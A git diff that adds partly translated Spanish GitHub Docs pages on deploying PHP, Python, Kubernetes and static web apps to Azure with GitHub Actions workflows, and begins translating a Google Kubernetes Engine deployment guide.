diff --git a/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md
new file mode 100644
index 0000000000..bd3258cff7
--- /dev/null
+++ b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md
@@ -0,0 +1,155 @@
+---
+title: Deploying PHP to Azure App Service
+intro: You can deploy your PHP project to Azure App Service as part of your continuous deployment (CD) workflows.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Azure App Service
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+
+## Introducción
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a PHP project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+
+{% ifversion fpt or ghec or ghae-issue-4856 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+
+{% endnote %}
+
+{% endif %}
+
+## Prerrequisitos
+
+Antes de crear tu flujo de trabajo de {% data variables.product.prodname_actions %}, primero necesitarás completar los siguientes pasos de configuración:
+
+{% data reusables.actions.create-azure-app-plan %}
+
+2. Crea una app web.
+
+   For example, you can use the Azure CLI to create an Azure App Service web app with a PHP runtime:
+
+   ```bash{:copy}
+   az webapp create \
+       --name MY_WEBAPP_NAME \
+       --plan MY_APP_SERVICE_PLAN \
+       --resource-group MY_RESOURCE_GROUP \
+       --runtime "php|7.4"
+   ```
+
+   En este comando, reemplaza los parámetros con tus propios valores, en donde `MY_WEBAPP_NAME` es un nombre nuevo para la app web.
+
+{% data reusables.actions.create-azure-publish-profile %}
+
+{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+{% endif %}
+
+## Crear un flujo de trabajo
+
+Una vez que hayas completado los prerequisitos, puedes proceder con la creación del flujo de trabajo.
+
+The following example workflow demonstrates how to build and deploy a PHP project to Azure App Service when there is a push to the `main` branch.
+
+Asegúrate de configurar a `AZURE_WEBAPP_NAME` en la clave `env` del flujo de trabajo con el nombre de la app web que creaste. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH` to the path to your project. If you use a version of PHP other than `8.x`, change`PHP_VERSION` to the version that you use.
+
+{% data reusables.actions.delete-env-key %}
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+name: Build and deploy PHP app to Azure Web App
+
+env:
+  AZURE_WEBAPP_NAME: MY_WEBAPP_NAME   # set this to your application's name
+  AZURE_WEBAPP_PACKAGE_PATH: '.'      # set this to the path to your web app project, defaults to the repository root
+  PHP_VERSION: '8.x'                  # set this to the PHP version to use
+
+on:
+  push:
+    branches:
+      - main
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: actions/checkout@v2
+
+      - name: Setup PHP
+        uses: shivammathur/setup-php@v2
+        with:
+          php-version: {% raw %}${{ env.PHP_VERSION }}{% endraw %}
+
+      - name: Check if composer.json exists
+        id: check_files
+        uses: andstor/file-existence-action@v1
+        with:
+          files: 'composer.json'
+
+      - name: Get Composer Cache Directory
+        id: composer-cache
+        if: steps.check_files.outputs.files_exists == 'true'
+        run: |
+          echo "::set-output name=dir::$(composer config cache-files-dir)"
+
+      - name: Set up dependency caching for faster installs
+        uses: actions/cache@v2
+        if: steps.check_files.outputs.files_exists == 'true'
+        with:
+          path: {% raw %}${{ steps.composer-cache.outputs.dir }}{% endraw %}
+          key: {% raw %}${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}{% endraw %}
+          restore-keys: |
+            {% raw %}${{ runner.os }}-composer-{% endraw %}
+
+      - name: Run composer install if composer.json exists
+        if: steps.check_files.outputs.files_exists == 'true'
+        run: composer validate --no-check-publish && composer install --prefer-dist --no-progress
+
+      - name: Upload artifact for deployment job
+        uses: actions/upload-artifact@v2
+        with:
+          name: php-app
+          path: .
+
+  deploy:
+    runs-on: ubuntu-latest
+    needs: build
+    environment:
+      name: 'production'
+      url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %}
+
+    steps:
+      - name: Download artifact from build job
+        uses: actions/download-artifact@v2
+        with:
+          name: php-app
+
+      - name: 'Deploy to Azure Web App'
+        id: deploy-to-webapp
+        uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e
+        with:
+          app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %}
+          publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %}
+          package: .
+```
+
+## Recursos adicionales
+
+Los siguientes recursos también pueden ser útiles:
+
+* For the original starter workflow, see [`azure-webapps-php.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-php.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
+* La acción que se utilizó para desplegar la app web es la acción oficial [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) de Azure.
+* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md
new file mode 100644
index 0000000000..e511831b7c
--- /dev/null
+++ b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md
@@ -0,0 +1,151 @@
+---
+title: Deploying Python to Azure App Service
+intro: You can deploy your Python project to Azure App Service as part of your continuous deployment (CD) workflows.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Python
+  - Azure App Service
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+
+## Introducción
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Python project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+
+{% ifversion fpt or ghec or ghae-issue-4856 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+
+{% endnote %}
+
+{% endif %}
+
+## Prerrequisitos
+
+Antes de crear tu flujo de trabajo de {% data variables.product.prodname_actions %}, primero necesitarás completar los siguientes pasos de configuración:
+
+{% data reusables.actions.create-azure-app-plan %}
+
+1. Crea una app web.
+
+   For example, you can use the Azure CLI to create an Azure App Service web app with a Python runtime:
+
+   ```bash{:copy}
+   az webapp create \
+       --name MY_WEBAPP_NAME \
+       --plan MY_APP_SERVICE_PLAN \
+       --resource-group MY_RESOURCE_GROUP \
+       --runtime "python|3.8"
+   ```
+
+   En este comando, reemplaza los parámetros con tus propios valores, en donde `MY_WEBAPP_NAME` es un nombre nuevo para la app web.
+
+{% data reusables.actions.create-azure-publish-profile %}
+
+1. Add an app setting called `SCM_DO_BUILD_DURING_DEPLOYMENT` and set the value to `1`.
+
+{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+{% endif %}
+
+## Crear un flujo de trabajo
+
+Una vez que hayas completado los prerequisitos, puedes proceder con la creación del flujo de trabajo.
+
+The following example workflow demonstrates how to build and deploy a Python project to Azure App Service when there is a push to the `main` branch.
+
+Asegúrate de configurar a `AZURE_WEBAPP_NAME` en la clave `env` del flujo de trabajo con el nombre de la app web que creaste. If you use a version of Python other than `3.8`, change `PYTHON_VERSION` to the version that you use.
+
+{% data reusables.actions.delete-env-key %}
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+name: Build and deploy Python app to Azure Web App
+
+env:
+  AZURE_WEBAPP_NAME: MY_WEBAPP_NAME   # set this to your application's name
+  PYTHON_VERSION: '3.8'               # set this to the Python version to use
+
+on:
+  push:
+    branches:
+      - main
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: actions/checkout@v2
+
+      - name: Set up Python version
+        uses: actions/setup-python@v2.2.2
+        with:
+          python-version: {% raw %}${{ env.PYTHON_VERSION }}{% endraw %}
+
+      - name: Create and start virtual environment
+        run: |
+          python -m venv venv
+          source venv/bin/activate
+
+      - name: Set up dependency caching for faster installs
+        uses: actions/cache@v2
+        with:
+          path: ~/.cache/pip
+          key: {% raw %}${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }}{% endraw %}
+          restore-keys: |
+            {% raw %}${{ runner.os }}-pip-{% endraw %}
+
+      - name: Install dependencies
+        run: pip install -r requirements.txt
+
+      # Optional: Add a step to run tests here (PyTest, Django test suites, etc.)
+
+      - name: Upload artifact for deployment jobs
+        uses: actions/upload-artifact@v2
+        with:
+          name: python-app
+          path: |
+            . 
+            !venv/
+  deploy:
+    runs-on: ubuntu-latest
+    needs: build
+    environment:
+      name: 'production'
+      url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %}
+
+    steps:
+      - name: Download artifact from build job
+        uses: actions/download-artifact@v2
+        with:
+          name: python-app
+          path: .
+
+      - name: 'Deploy to Azure Web App'
+        id: deploy-to-webapp
+        uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e
+        with:
+          app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %}
+          publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %}
+```
+
+## Recursos adicionales
+
+Los siguientes recursos también pueden ser útiles:
+
+* Para encontrar el flujo de trabajo inicial original, consulta el archivo [`azure-webapps-python.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-python.yml) en el repositorio `starter-workflows` de {% data variables.product.prodname_actions %}.
+* La acción que se utilizó para desplegar la app web es la acción oficial [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) de Azure.
+* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md
new file mode 100644
index 0000000000..79c1e9d79f
--- /dev/null
+++ b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md
@@ -0,0 +1,126 @@
+---
+title: Deploying to Azure Kubernetes Service
+intro: You can deploy your project to Azure Kubernetes Service (AKS) as part of your continuous deployment (CD) workflows.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Azure Kubernetes Service
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+
+## Introducción
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a project to [Azure Kubernetes Service](https://azure.microsoft.com/services/kubernetes-service/).
+
+{% ifversion fpt or ghec or ghae-issue-4856 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+
+{% endnote %}
+
+{% endif %}
+
+## Prerrequisitos
+
+Antes de crear tu flujo de trabajo de {% data variables.product.prodname_actions %}, primero necesitarás completar los siguientes pasos de configuración:
+
+1. Create a target AKS cluster and an Azure Container Registry (ACR). Para obtener más información, consulta las secciones "[Inicio rápido: Desplegar un clúster de AKS utilizando el portal de Azure - Azure Kubernetes Service](https://docs.microsoft.com/azure/aks/kubernetes-walkthrough-portal)" y "[Inicio ráido - Crear un registro en el portal - Azure Container Registry](https://docs.microsoft.com/azure/container-registry/container-registry-get-started-portal)" en la documentación de Azure.
+
+1. Create a secret called `AZURE_CREDENTIALS` to store your Azure credentials. For more information about how to find this information and structure the secret, see [the `Azure/login` action documentation](https://github.com/Azure/login#configure-a-service-principal-with-a-secret).
+
+## Crear un flujo de trabajo
+
+Una vez que hayas completado los prerequisitos, puedes proceder con la creación del flujo de trabajo.
+
+The following example workflow demonstrates how to build and deploy a project to Azure Kubernetes Service when code is pushed to your repository.
+
+Under the workflow `env` key, change the the following values:
+- `AZURE_CONTAINER_REGISTRY` to the name of your container registry
+- `PROJECT_NAME` to the name of your project
+- `RESOURCE_GROUP` to the resource group containing your AKS cluster
+- `CLUSTER_NAME` to the name of your AKS cluster
+
+This workflow uses the `helm` render engine for the [`azure/k8s-bake` action](https://github.com/Azure/k8s-bake). If you will use the `helm` render engine, change the value of `CHART_PATH` to the path to your helm file. Change `CHART_OVERRIDE_PATH` to an array of override file paths. If you use a different render engine, update the input parameters sent to the `azure/k8s-bake` action.
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+name: Build and deploy to Azure Kubernetes Service
+
+env:
+  AZURE_CONTAINER_REGISTRY: MY_REGISTRY_NAME # set this to the name of your container registry
+  PROJECT_NAME: MY_PROJECT_NAME              # set this to your project's name
+  RESOURCE_GROUP: MY_RESOURCE_GROUP          # set this to the resource group containing your AKS cluster
+  CLUSTER_NAME: MY_CLUSTER_NAME              # set this to the name of your AKS cluster
+  REGISTRY_URL: MY_REGISTRY_URL              # set this to the URL of your registry
+  # If you bake using helm:
+  CHART_PATH: MY_HELM_FILE                   # set this to the path to your helm file
+  CHART_OVERRIDE_PATH: MY_OVERRIDE_FILES     # set this to an array of override file paths
+
+on: [push]
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@master
+
+    - name: Azure Login
+      uses: azure/login@89d153571fe9a34ed70fcf9f1d95ab8debea7a73
+      with:
+        creds: {% raw %}${{ secrets.AZURE_CREDENTIALS }}{% endraw %}
+
+    - name: Build image on ACR
+      uses: azure/CLI@7378ce2ca3c38b4b063feb7a4cbe384fef978055
+      with:
+        azcliversion: 2.29.1
+        inlineScript: |
+          az configure --defaults acr={% raw %}${{ env.AZURE_CONTAINER_REGISTRY }}{% endraw %}
+          az acr build -t  -t {% raw %}${{ env.REGISTRY_URL }}{% endraw %}/{% raw %}${{ env.PROJECT_NAME }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}
+
+    - name: Gets K8s context
+      uses: azure/aks-set-context@4e5aec273183a197b181314721843e047123d9fa
+      with:
+          creds: {% raw %}${{ secrets.AZURE_CREDENTIALS }}{% endraw %}
+          resource-group: {% raw %}${{ env.RESOURCE_GROUP }}{% endraw %}
+          cluster-name: {% raw %}${{ env.CLUSTER_NAME }}{% endraw %}
+      id: login
+
+    - name: Configure deployment
+      uses: azure/k8s-bake@773b6144a3732e3bf4c78b146a0bb9617b2e016b
+      with:
+        renderEngine: 'helm'
+        helmChart: {% raw %}${{ env.CHART_PATH }}{% endraw %}
+        overrideFiles: {% raw %}${{ env.CHART_OVERRIDE_PATH }}{% endraw %}
+        overrides: |     
+          replicas:2
+        helm-version: 'latest' 
+      id: bake
+
+    - name: Deploys application
+    - uses: Azure/k8s-deploy@c8fbd76ededaad2799c054a9fd5d0fa5d4e9aee4
+      with:
+        manifests: {% raw %}${{ steps.bake.outputs.manifestsBundle }}{% endraw %}
+        images: |
+          {% raw %}${{ env.AZURE_CONTAINER_REGISTRY }}{% endraw %}.azurecr.io/{% raw %}${{ env.PROJECT_NAME }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}
+        imagepullsecrets: |
+          {% raw %}${{ env.PROJECT_NAME }}{% endraw %}
+```
+
+## Recursos adicionales
+
+Los siguientes recursos también pueden ser útiles:
+
+* Para encontrar el flujo de trabajo inicial original, consulta el archivo [`azure-kubernetes-service.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-kubernetes-service.yml) en el repositorio `starter-workflows` de {% data variables.product.prodname_actions %}.
+* Las acciones que se utilizan en este flujo de trabajo son las oficiales de Azure: [`Azure/login`](https://github.com/Azure/login),[`Azure/aks-set-context`](https://github.com/Azure/aks-set-context), [`Azure/CLI`](https://github.com/Azure/CLI), [`Azure/k8s-bake`](https://github.com/Azure/k8s-bake) y [`Azure/k8s-deploy`](https://github.com/Azure/k8s-deploy).
+* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md
new file mode 100644
index 0000000000..758ce9d98c
--- /dev/null
+++ b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md
@@ -0,0 +1,113 @@
+---
+title: Deploying to Azure Static Web App
+intro: You can deploy your web app to Azure Static Web App as part of your continuous deployment (CD) workflows.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Azure Static Web Apps
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+
+## Introducción
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a web app to [Azure Static Web Apps](https://azure.microsoft.com/services/app-service/static/).
+
+{% ifversion fpt or ghec or ghae-issue-4856 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+
+{% endnote %}
+
+{% endif %}
+
+## Prerrequisitos
+
+Antes de crear tu flujo de trabajo de {% data variables.product.prodname_actions %}, primero necesitarás completar los siguientes pasos de configuración:
+
+1. Create an Azure Static Web App using the 'Other' option for deployment source. For more information, see "[Quickstart: Building your first static site in the Azure portal](https://docs.microsoft.com/azure/static-web-apps/get-started-portal)" in the Azure documentation.
+
+2. Create a secret called `AZURE_STATIC_WEB_APPS_API_TOKEN` with the value of your static web app deployment token. For more information about how to find your deployment token, see "[Reset deployment tokens in Azure Static Web Apps](https://docs.microsoft.com/azure/static-web-apps/deployment-token-management)" in the Azure documentation.
+
+## Crear un flujo de trabajo
+
+Una vez que hayas completado los prerequisitos, puedes proceder con la creación del flujo de trabajo.
+
+The following example workflow demonstrates how to build and deploy an Azure static web app when there is a push to the `main` branch or when a pull request targeting `main` is opened, synchronized, or reopened. The workflow also tears down the corresponding pre-production deployment when a pull request targeting `main` is closed.
+
+Under the workflow `env` key, change the following values:
+- `APP_LOCATION` to the location of your client code
+- `API_LOCATION` to the location of your API source code. If `API_LOCATION` is not relevant, you can delete the variable and the lines where it is used.
+- `APP_ARTIFACT_LOCATION` to the location of your client code build output
+
+For more information about these values, see "[Build configuration for Azure Static Web Apps](https://docs.microsoft.com/azure/static-web-apps/build-configuration?tabs=github-actions)" in the Azure documentation.
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+name: Deploy web app to Azure Static Web Apps
+
+env:
+  APP_LOCATION: "/" # location of your client code
+  API_LOCATION: "api" # location of your api source code - optional
+  APP_ARTIFACT_LOCATION: "build" # location of client code build output
+
+  on:
+  push:
+    branches:
+      - main
+  pull_request:
+    types: [opened, synchronize, reopened, closed]
+    branches:
+      - main
+
+permissions:
+  issues: write
+
+jobs:
+  build_and_deploy:
+    if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
+    runs-on: ubuntu-latest
+    name: Build and Deploy
+    steps:
+      - uses: actions/checkout@v2
+        with:
+          submodules: true
+      - name: Build And Deploy
+        uses: Azure/static-web-apps-deploy@1a947af9992250f3bc2e68ad0754c0b0c11566c9
+        with:
+          azure_static_web_apps_api_token: {% raw %}${{ secrets.AZURE_STATIC_WEB_APPS_API_TOKEN }}{% endraw %}
+          repo_token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+          action: "upload"
+          app_location: {% raw %}${{ env.APP_LOCATION }}{% endraw %}
+          api_location: {% raw %}${{ env.API_LOCATION }}{% endraw %}
+          app_artifact_location: {% raw %}${{ env.APP_ARTIFACT_LOCATION }}{% endraw %}
+
+  close:
+    if: github.event_name == 'pull_request' && github.event.action == 'closed'
+    runs-on: ubuntu-latest
+    name: Close
+    steps:
+      - name: Close
+        uses: Azure/static-web-apps-deploy@1a947af9992250f3bc2e68ad0754c0b0c11566c9
+        with:
+          azure_static_web_apps_api_token: {% raw %}${{ secrets.AZURE_STATIC_WEB_APPS_API_TOKEN }}{% endraw %}
+          action: "close"
+```
+
+## Recursos adicionales
+
+Los siguientes recursos también pueden ser útiles:
+
+* Para encontrar el flujo de trabajo inicial original, consulta el archivo [`azure-staticwebapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-staticwebapp.yml) en el repositorio `starter-workflows` de {% data variables.product.prodname_actions %}.
+* The action used to deploy the web app is the official Azure [`Azure/static-web-apps-deploy`](https://github.com/Azure/static-web-apps-deploy) action.
+* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md
new file mode 100644
index 0000000000..fff824b76c
--- /dev/null
+++ b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md
@@ -0,0 +1,20 @@
+---
+title: Deploying to Azure
+shortTitle: Deploy to Azure
+intro: 'Learn how to deploy to Azure App Service, Azure Kubernetes, and Azure Static Web App as part of your continuous deployment (CD) workflows.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /deploying-nodejs-to-azure-app-service
+  - /deploying-python-to-azure-app-service
+  - /deploying-java-to-azure-app-service
+  - /deploying-net-to-azure-app-service
+  - /deploying-php-to-azure-app-service
+  - /deploying-docker-to-azure-app-service
+  - /deploying-to-azure-static-web-app
+  - /deploying-to-azure-kubernetes-service
+---
+
diff --git a/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md
index 6782f10b34..6401a0ac06 100644
--- a/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md
+++ b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying to Google Kubernetes Engine
-intro: You can deploy to Google Kubernetes Engine as part of your continuous deployment (CD) workflows.
+title: Desplegar a Google Kubernetes Engine
+intro: Puedes desplegar hacia Google Kubernetes Engine como parte de tus flujos de trabajo de despliegue continuo (DC).
 redirect_from:
   - /actions/guides/deploying-to-google-kubernetes-engine
   - /actions/deployment/deploying-to-google-kubernetes-engine
@@ -14,78 +14,78 @@ topics:
   - CD
   - Containers
   - Google Kubernetes Engine
-shortTitle: Deploy to Google Kubernetes Engine
+shortTitle: Desplegar hacia Google Kubernetes Engine
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This guide explains how to use {% data variables.product.prodname_actions %} to build a containerized application, push it to Google Container Registry (GCR), and deploy it to Google Kubernetes Engine (GKE) when there is a push to the `main` branch.
+Esta guía te explica cómo utilizar las {% data variables.product.prodname_actions %} para crear una aplicación contenerizada, subirla al Registro de Contenedores de Google (GCR) y desplegarla en Google Kubernetes Engine (GKE) cuando haya una subida a la rama `main`.
 
-GKE is a managed Kubernetes cluster service from Google Cloud that can host your containerized workloads in the cloud or in your own datacenter. For more information, see [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine).
+GKE es un agrupamiento administrado de Kubernetes de Google Cloud que puede hospedar tus cargas de trabajo contenerizadas en la nube o en tu propio centro de datos. Para obtener más información, consulta la página de [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine).
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %}
+**Nota**: {% data reusables.actions.about-oidc-short-overview %}
 
 {% endnote %}
 
 {% endif %}
 
-## Prerequisites
+## Prerrequisitos
 
-Before you proceed with creating the workflow, you will need to complete the following steps for your Kubernetes project. This guide assumes the root of your project already has a `Dockerfile` and a Kubernetes Deployment configuration file. For an example, see [google-github-actions](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/gke).
+Antes de proceder con la creación del flujo de trabajo, necesitarás completar los siguientes pasos par tu proyecto de Kubernetes. Esta guía asume que la raíz de tu proyecto ya tiene un `Dockerfile` y un archivo de configuración para el despliegue de Kubernetes. Para encontrar un ejemplo, consulta [google-github-actions](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/gke).
 
-### Creating a GKE cluster
+### Crear un agrupamiento de GKE
 
-To create the GKE cluster, you will first need to authenticate using the `gcloud` CLI. For more information on this step, see the following articles:
+Para crear un agrupamiento de GKE, primero necesitarás autenticarte utilizando el CLI de `gcloud`. Para obtener más información sobre este paso, consulta los siguientes artículos:
 - [`gcloud auth login`](https://cloud.google.com/sdk/gcloud/reference/auth/login)
 - [`gcloud` CLI](https://cloud.google.com/sdk/gcloud/reference)
-- [`gcloud` CLI and Cloud SDK](https://cloud.google.com/sdk/gcloud#the_gcloud_cli_and_cloud_sdk)
+- [`gcloud` CLI y Cloud SDK](https://cloud.google.com/sdk/gcloud#the_gcloud_cli_and_cloud_sdk)
 
-For example:
+Por ejemplo:
 
 {% raw %}
 ```bash{:copy}
 $ gcloud container clusters create $GKE_CLUSTER \
-	--project=$GKE_PROJECT \
-	--zone=$GKE_ZONE
+    --project=$GKE_PROJECT \
+    --zone=$GKE_ZONE
 ```
 {% endraw %}
 
-### Enabling the APIs
+### Habilitar las API
 
-Enable the Kubernetes Engine and Container Registry APIs. For example:
+Habilita las API de Kubernetes Engine y del Registro de Contenedor. Por ejemplo:
 
 {% raw %}
 ```bash{:copy}
 $ gcloud services enable \
-	containerregistry.googleapis.com \
-	container.googleapis.com
+    containerregistry.googleapis.com \
+    container.googleapis.com
 ```
 {% endraw %}
 
-### Configuring a service account and storing its credentials
+### Configurar una cuenta de servicio y almacenar sus crendenciales
 
-This procedure demonstrates how to create the service account for your GKE integration. It explains how to create the account, add roles to it, retrieve its keys, and store them as a base64-encoded encrypted repository secret named `GKE_SA_KEY`.
+Este procedimiento demuestra cómo crear la cuenta de servicio para tu integración con GKE. Explica cómo crear la cuenta, agregarle roles, recuperar sus llaves y almacenarlas como un secreto de repositorio cifrado y codificado en base 64 de nombre `GKE_SA_KEY`.
 
-1. Create a new service account:
+1. Crea una cuenta de servicio nueva:
   {% raw %}
   ```
   $ gcloud iam service-accounts create $SA_NAME
   ```
   {% endraw %}
-1. Retrieve the email address of the service account you just created:
+1. Recupera la dirección de correo electrónico en la cuenta de servicio que acabas de crear:
   {% raw %}
   ```
   $ gcloud iam service-accounts list
   ```
   {% endraw %}
-1. Add roles to the service account. Note: Apply more restrictive roles to suit your requirements.
+1. Agrega roles a la cuenta de servicio. Nota: Aplica roles más restrictivos para que se acoplen a tus requisitos.
   {% raw %}
   ```
   $ gcloud projects add-iam-policy-binding $GKE_PROJECT \
@@ -95,40 +95,40 @@ This procedure demonstrates how to create the service account for your GKE integ
     --role=roles/container.clusterViewer
   ```
   {% endraw %}
-1. Download the JSON keyfile for the service account:
+1. Descarga el archivo de llave JSON para la cuenta de servicio:
   {% raw %}
   ```
   $ gcloud iam service-accounts keys create key.json --iam-account=$SA_EMAIL
   ```
   {% endraw %}
-1. Store the service account key as a secret named `GKE_SA_KEY`:
+1. Almacena la clave de cuenta de servicio como un secreto llamado `GKE_SA_KEY`:
   {% raw %}
   ```
   $ export GKE_SA_KEY=$(cat key.json | base64)
   ```
   {% endraw %}
-  For more information about how to store a secret, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+  Para obtener más información sobre cómo almacenar un secreto, consulta la sección "[Secretos cifrados](/actions/security-guides/encrypted-secrets)".
 
-### Storing your project name
+### Almacenar el nombre de tu proyecto
 
-Store the name of your project as a secret named `GKE_PROJECT`. For more information about how to store a secret, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+Almacenar el nombre de tu proyecto como un secreto llamado `GKE_PROJECT`. Para obtener más información sobre cómo almacenar un secreto, consulta la sección "[Secretos cifrados](/actions/security-guides/encrypted-secrets)".
 
-### (Optional) Configuring kustomize
-Kustomize is an optional tool used for managing YAML specs. After creating a _kustomization_ file, the workflow below can be used to dynamically set fields of the image and pipe in the result to `kubectl`. For more information, see [kustomize usage](https://github.com/kubernetes-sigs/kustomize#usage).
+### (Opcional) Configurar kustomize
